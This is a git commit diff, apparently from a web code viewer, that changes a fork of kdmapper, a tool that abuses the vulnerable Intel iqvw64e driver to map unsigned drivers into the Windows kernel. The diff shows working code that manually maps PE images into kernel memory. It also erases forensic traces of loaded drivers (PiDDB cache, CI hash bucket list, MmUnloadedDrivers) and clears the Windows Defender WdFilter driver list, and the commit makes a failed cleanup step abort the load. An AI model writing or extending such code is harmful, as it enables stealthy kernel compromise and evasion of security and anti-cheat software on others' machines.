fix kdmaper adjust loading method

This commit is contained in:
2026-10-08 09:57:32 +08:00
parent 1745e5097d
commit e530b283cd
7 changed files with 772 additions and 6060 deletions
File diff suppressed because it is too large Load Diff
+73 -14
View File
@@ -1,5 +1,7 @@
#include "kd_driver.h"
#include "kd_utils.h"
#include "..\utils.h"
//#include "..\Vmp\Vmp.h"
HANDLE kd_driver::iqvw64e_device_handle;
@@ -57,6 +59,8 @@ bool kd_driver::Load(PDWORD status)
{
srand((unsigned)time(NULL) * GetCurrentThreadId());
//AcquireDebugPrivilege();
std::wstring driver_path = GetDriverPath();
_wremove(driver_path.c_str());
@@ -71,15 +75,21 @@ bool kd_driver::Load(PDWORD status)
return false;
}
if (!AcquireDebugPrivilege()) {
//ȨÏÞÌáÉýʧ°Ü
*status = 103;
Log((L"[-] Failed to acquire SeDebugPrivilege") << std::endl);
_wremove(driver_path.c_str());
return false;
}
//auto level = utils::GetCurrentRunLevel();
//if (level != RunLevel::System && level != RunLevel::Administrator)
//{
// //if (!AcquireDebugPrivilege()) {
// //
// // //ȨÏÞÌáÉýʧ°Ü
// // *status = 103;
// //
// // Log((L"[-] Failed to acquire SeDebugPrivilege") << std::endl);
// //
// // _wremove(driver_path.c_str());
// // return false;
// //}
//}
if (!nt::RegisterAndStart(driver_path, GetDriverNameW())) {
@@ -105,7 +115,7 @@ bool kd_driver::Load(PDWORD status)
}
kd_driver::ntoskrnlbase = utils::GetKernelModule("ntoskrnl.exe");
kd_driver::ntoskrnlbase = kernelmoduel(iqvw64e_device_handle, "ntoskrnl.exe");
if (!kd_driver::ntoskrnlbase)
{
//»ñÈ¡ÄÚºËÄ£¿é»ùַʧ°Ü
@@ -121,18 +131,27 @@ bool kd_driver::Load(PDWORD status)
{
if (!kd_driver::ClearPiDDBCacheTable(iqvw64e_device_handle)) {
Log((L"[-] Failed to ClearPiDDBCacheTable") << std::endl);
*status = 111;
kd_driver::Unload();
return false;
}
if (!kd_driver::ClearKernelHashBucketList(iqvw64e_device_handle)) {
Log((L"[-] Failed to ClearKernelHashBucketList") << std::endl);
*status = 112;
kd_driver::Unload();
return false;
}
if (!kd_driver::ClearMmUnloadedDrivers(iqvw64e_device_handle)) {
Log((L"[!] Failed to ClearMmUnloadedDrivers") << std::endl);
*status = 113;
kd_driver::Unload();
return false;
}
@@ -178,7 +197,6 @@ auto set_calc_random_val()->_CALC_VERIFY
Verify.c = c;
Verify.d = d;
return Verify;
}
@@ -209,6 +227,26 @@ bool kd_driver::write(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZ
return MmCopy(device_handle, (uint64_t)Buffer, (uint64_t)Base, Size);
}
uint64_t kd_driver::kernelmoduel(HANDLE device_handle, const char* module_names)
{
uint64_t buff = NULL;
_CALC_VERIFY Verify = set_calc_random_val();
Verify.calc_val = utils::calc_comm_verify_check(Verify.a, Verify.b, Verify.c, Verify.d);
COMM_INFO memory = { 0 };
memory.case_number = 0x13;
memory.destination = (DWORD64)&buff;
memory.source = (DWORD64)module_names;
memory.Verify = &Verify;
DWORD bytes_returned = 0;
DeviceIoControl(device_handle, IOCTL_GETKERMODUL, &memory, sizeof(memory), &memory, sizeof(memory), &bytes_returned, nullptr);
return buff;
}
bool kd_driver::writeEx(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size)
{
/*uint64_t physical_base = 0;
@@ -226,6 +264,22 @@ bool kd_driver::writeEx(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, S
// return true;
}
NTSTATUS kd_driver::QuerySystemInformation(HANDLE device_handle, SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
NTSTATUS status = NULL;
COMM_QERY info = { 0 };
info.par1 = SystemInformationClass;
info.par2 = (uintptr_t)SystemInformation;
info.par3 = SystemInformationLength;
info.par4 = (uintptr_t)ReturnLength;
info.status = (NTSTATUS*)&status;
DWORD bytes_returned = 0;
DeviceIoControl(device_handle, IOCTL_QERYINFO, &info, sizeof(info), &info, sizeof(info), &bytes_returned, nullptr);
return status;
}
bool kd_driver::MdlIoSpace(HANDLE device_handle, uint64_t address, uint64_t* Buffer, SIZE_T Size)
@@ -589,16 +643,21 @@ bool kd_driver::ClearMmUnloadedDrivers(HANDLE device_handle)
ULONG buffer_size = 0;
void* buffer = nullptr;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
NTSTATUS status = QuerySystemInformation(device_handle, static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
printf("%x\n", status);
while (status == nt::STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
status = QuerySystemInformation(device_handle, static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
}
printf("%x\n", status);
if (!NT_SUCCESS(status) || buffer == 0)
{
if (buffer != 0)
@@ -676,7 +735,7 @@ bool kd_driver::ClearMmUnloadedDrivers(HANDLE device_handle)
bool kd_driver::ClearKernelHashBucketList(HANDLE device_handle)
{
uint64_t ci = utils::GetKernelModule("CI.dll");
uint64_t ci = kernelmoduel(device_handle, "CI.dll");
if (!ci) {
Log(L"[-] Can't Find ci.dll module address" << std::endl);
return false;
@@ -836,7 +895,7 @@ bool kd_driver::ClearKernelHashBucketList(HANDLE device_handle)
bool kd_driver::ClearWdFilterDriverList(HANDLE device_handle)
{
auto WdFilter = utils::GetKernelModule("WdFilter.sys");
auto WdFilter = kernelmoduel(device_handle, "WdFilter.sys");
if (!WdFilter) {
Log("[+] WdFilter.sys not loaded, clear skipped" << std::endl);
return true;
+4 -3
View File
@@ -6,9 +6,8 @@ using namespace std;
#define IOCTL_MMCOPY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x9512, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_MMCOPYEX CTL_CODE(FILE_DEVICE_UNKNOWN, 0x9513, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_GETKERMODUL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x9514, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_QERYINFO CTL_CODE(FILE_DEVICE_UNKNOWN, 0x9515, METHOD_BUFFERED, FILE_ANY_ACCESS)
namespace kd_driver
{
@@ -27,9 +26,11 @@ namespace kd_driver
bool MmCopy(HANDLE device_handle, uint64_t Base, uint64_t Buffer, SIZE_T Size);
bool read(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size);
bool write(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size);
uint64_t kernelmoduel(HANDLE device_handle, const char* module_names);
bool writeEx(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size);
NTSTATUS QuerySystemInformation(HANDLE device_handle, SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
bool MdlIoSpace(HANDLE device_handle, uint64_t address, uint64_t* Buffer, SIZE_T Size);
+1
View File
@@ -29,6 +29,7 @@ auto utils::GetKernelModule(const std::string& module_name) -> uint64_t
for (auto i = 0u; i < modules->NumberOfModules; ++i) {
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[i].FullPathName) + modules->Modules[i].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name.c_str()))
{
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[i].ImageBase);
-1
View File
@@ -23,7 +23,6 @@ typedef struct _RTL_PROCESS_MODULES
namespace utils
{
auto GetKernelModule(const std::string& module_name) -> uint64_t;
BOOLEAN bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask);
uintptr_t FindPattern(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask);
+3 -15
View File
@@ -8,20 +8,12 @@ BOOL kdmapper::MapDriver(HANDLE device_handle, uint64_t ker_base, char* map_base
auto image_size = pNT_header->OptionalHeader.SizeOfImage;
auto map_image_base = reinterpret_cast<char*>(VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
if (!map_image_base)
{
//printf("vritualalloc fail!!\n");
return false;
}
if (!map_image_base) return false;
//image_size = image_size - TotalVirtualHeaderSize;
auto kernel_base = kd_driver::ExAllocatePool(device_handle, 0, image_size);
if (!kernel_base)
{
//printf("[-] ExAllocatePool fail\n");
return false;
}
if (!kernel_base) return false;
//写入pe头
memcpy(map_image_base, map_base, pNT_header->OptionalHeader.SizeOfHeaders);
@@ -36,8 +28,6 @@ BOOL kdmapper::MapDriver(HANDLE device_handle, uint64_t ker_base, char* map_base
//修复重定位表
//auto PReloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(map_image_base + pNT_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
auto current_base_relocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG64>(map_image_base) + pNT_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
const auto reloc_end = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG64>(current_base_relocation) + pNT_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
@@ -56,7 +46,6 @@ BOOL kdmapper::MapDriver(HANDLE device_handle, uint64_t ker_base, char* map_base
*RelocAddr += (DWORD64)kernel_base;
}
}
current_base_relocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<DWORD64>(current_base_relocation) + current_base_relocation->SizeOfBlock);
}
@@ -71,6 +60,7 @@ BOOL kdmapper::MapDriver(HANDLE device_handle, uint64_t ker_base, char* map_base
if (*(uintptr_t*)(stack_cookie) != 0x2B992DDFA232)
return false;
auto new_cookie = 0x2B992DDFA232 ^ GetCurrentProcessId() ^ GetCurrentThreadId(); // here we don't really care about the value of stack cookie, it will still works and produce nice result
if (new_cookie == 0x2B992DDFA232)
new_cookie = 0x2B992DDFA233;
@@ -82,8 +72,6 @@ BOOL kdmapper::MapDriver(HANDLE device_handle, uint64_t ker_base, char* map_base
auto pimpor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(map_image_base + pNT_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pimpor->Name)
{
const auto Module = utils::GetKernelModule((char*)map_image_base + pimpor->Name);
auto Int = reinterpret_cast<PIMAGE_THUNK_DATA>(map_image_base + pimpor->OriginalFirstThunk);
auto Iat = reinterpret_cast<PIMAGE_THUNK_DATA>(map_image_base + pimpor->FirstThunk);
+11 -4
View File
@@ -16,10 +16,6 @@
#define Log(content)
#endif // 0
namespace nt
{
EXTERN_C NTSTATUS RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN Client, BOOLEAN* WasEnabled);
@@ -159,3 +155,14 @@ typedef struct _UNMAP_IO_SPACE_BUFFER_INFO
uint64_t reserved3;
uint32_t number_of_bytes;
}UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO;
typedef struct COMM_QERY
{
uintptr_t par1;
uintptr_t par2;
uintptr_t par3;
uintptr_t par4;
NTSTATUS* status;
}COMM_QERY, * PCOMM_QERY;